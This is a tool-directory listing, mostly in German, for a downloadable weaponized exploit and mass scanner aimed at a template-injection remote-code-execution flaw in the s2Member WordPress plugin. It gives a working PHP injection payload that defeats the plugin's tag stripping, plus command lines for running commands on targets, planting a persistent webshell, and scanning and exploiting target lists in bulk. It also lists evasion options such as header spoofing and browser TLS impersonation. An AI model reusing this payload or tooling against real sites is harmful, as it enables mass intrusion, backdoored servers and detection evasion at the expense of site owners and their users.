Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-86596 — Einzeldatei-Exploit und Massenscanner für CVE-2026-86596, eine s2Member-Template-Injection-RCE über den PayPal-IPN-Parameter item_name, mit Bypass-Varianten und Webshell-Deployment. | Kitploit
Tools/GitHubGitHub/aureels/cve-2026-86596
AufklärungSchwachstellenscannerPayload-GenerierungExploitationIDS/IPS-UmgehungWebanwendungs-ExploitationWebsicherheitCommand and ControlRemote-Access-ToolFingerabdruck-Spoofing
GitHub
511vor 11h 26mNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
aureels/cve-2026-86596

CVE-2026-86596

Einzeldatei-Exploit und Massenscanner für CVE-2026-86596, eine s2Member-Template-Injection-RCE über den PayPal-IPN-Parameter item_name, mit Bypass-Varianten und Webshell-Deployment.

Repository anzeigen
Teilen

CVE-2026-86596 - s2Member <= 260927 Weaponized RCE

CVSS 9.8 | CVE-2026-86596 | Patch: 261001+

Einzeldatei-weaponisierter Exploit & Scanner für s2Member-Template-Injection über den item_name-IPN-Parameter.

Schwachstelle

$paypal = strip_php_tags_deep($paypal);           // Only strips literal '<?'
$msg = preg_replace('/%%item_name%%/i', esc_refs($paypal['item_name']), $msg);
$msg = trim(preg_replace('/%%(.+?)%%/i', '', $msg));  // Removes %%x%% -> reassembles <?php

Payload: <%%x%%?php system('id'); ?> → umgeht strip_php_tags_deep, setzt sich nach der Placeholder-Bereinigung zu einem gültigen <?php zusammen.

Verwendung

# Single target RCE
python3 poc.py target.com --cmd "id" --authorized

# Persistent webshell (access: /shell.php?pass=cmd)
python3 poc.py target.com --cmd "shell:mysecret" --authorized --deploy-shell

# Full bypass matrix (all variants)
python3 poc.py target.com --cmd "id" --authorized --full-bypass

# Mass scan with recon
python3 poc.py targets.txt --scan --threads 30 --recon

# Scan + exploit
python3 poc.py targets.txt --scan --exploit --cmd "id" --authorized --output results.json

Optionen

FlagBeschreibung
--cmd "id"Auszuführender Befehl (oder shell:pass für Webshell)
--scanMassen-Scan-Modus (Ziele aus Datei lesen)
--exploitExploit während des Scans versuchen
--authorizedERFORDERLICH für jede Exploit-Aktion
--reconVollständige Aufklärung vor dem Exploit
--item-numberSpezifische item_number (Standard: automatische Ermittlung)
--proxy-verifications2member_paypal_proxy_verification-Schlüssel
--write-testTestdatei schreiben statt Befehl auszuführen
--deploy-shellPersistente Webshell bereitstellen
--shell-pathWebshell-Dateiname (Standard: shell.php)
--full-bypassALLE Bypass-Varianten versuchen (langsam)
--no-evasionAlle Bypass-Versuche deaktivieren
--threads NScan-Threads (Standard: 15)
--output fileAusgabe als JSON/CSV
--http-proxyHTTP(S)-Proxy
--impersonateTLS-Fingerprint: chrome/firefox/safari/edge
--insecureTLS-Verifikation deaktivieren
--verboseAusführliche Ausgabe

Bypass-Matrix

EbeneVarianten
Payload10: raw, urlenc, b64, concat, var-func, assert, preg_replace/e, create_function, shortcode, shortcode+b64
Write4: file_put_contents, fopen/fwrite, shell_exec, b64_decode
Shell5: eval, system, assert, b64_eval, shortcode
Request5: form, multipart, dup, multipart-dup, JSON
Headers7: XFF spoof, PayPal referer/origin, IPN headers, cluster
TLS4: chrome, firefox, safari, edge (curl_cffi)

Voraussetzungen für Live-RCE

  • s2Member <= 260927
  • Gültige item_number (ID eines geschützten Beitrags/einer geschützten Seite)
  • PayPal-IPN-Verifikation (Sandbox oder Proxy-Verifikationsschlüssel)
  • Template-Sink: do_shortcode() / [s2If php=...]

Dateien

/root/labv/
├── poc.py        # Single weaponized exploit + scanner (384 lines)
├── README.md     # This file
└── targets.txt   # Example target list

Referenzen

  • Wordfence: https://www.wordfence.com/threat-intel/vulnerabilities/id/bbe64cd3-c5ca-4867-90de-4784510a1126
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-86596
  • GitHub PoC: https://github.com/thiscitze/cve-2026-86596-poc
  • Changeset: https://plugins.trac.wordpress.org/changeset/3722434/s2member

Rechtliches

NUR FÜR AUTORISIERTE TESTS. Das Flag --authorized bestätigt eine schriftliche Genehmigung.

Tool herunterladen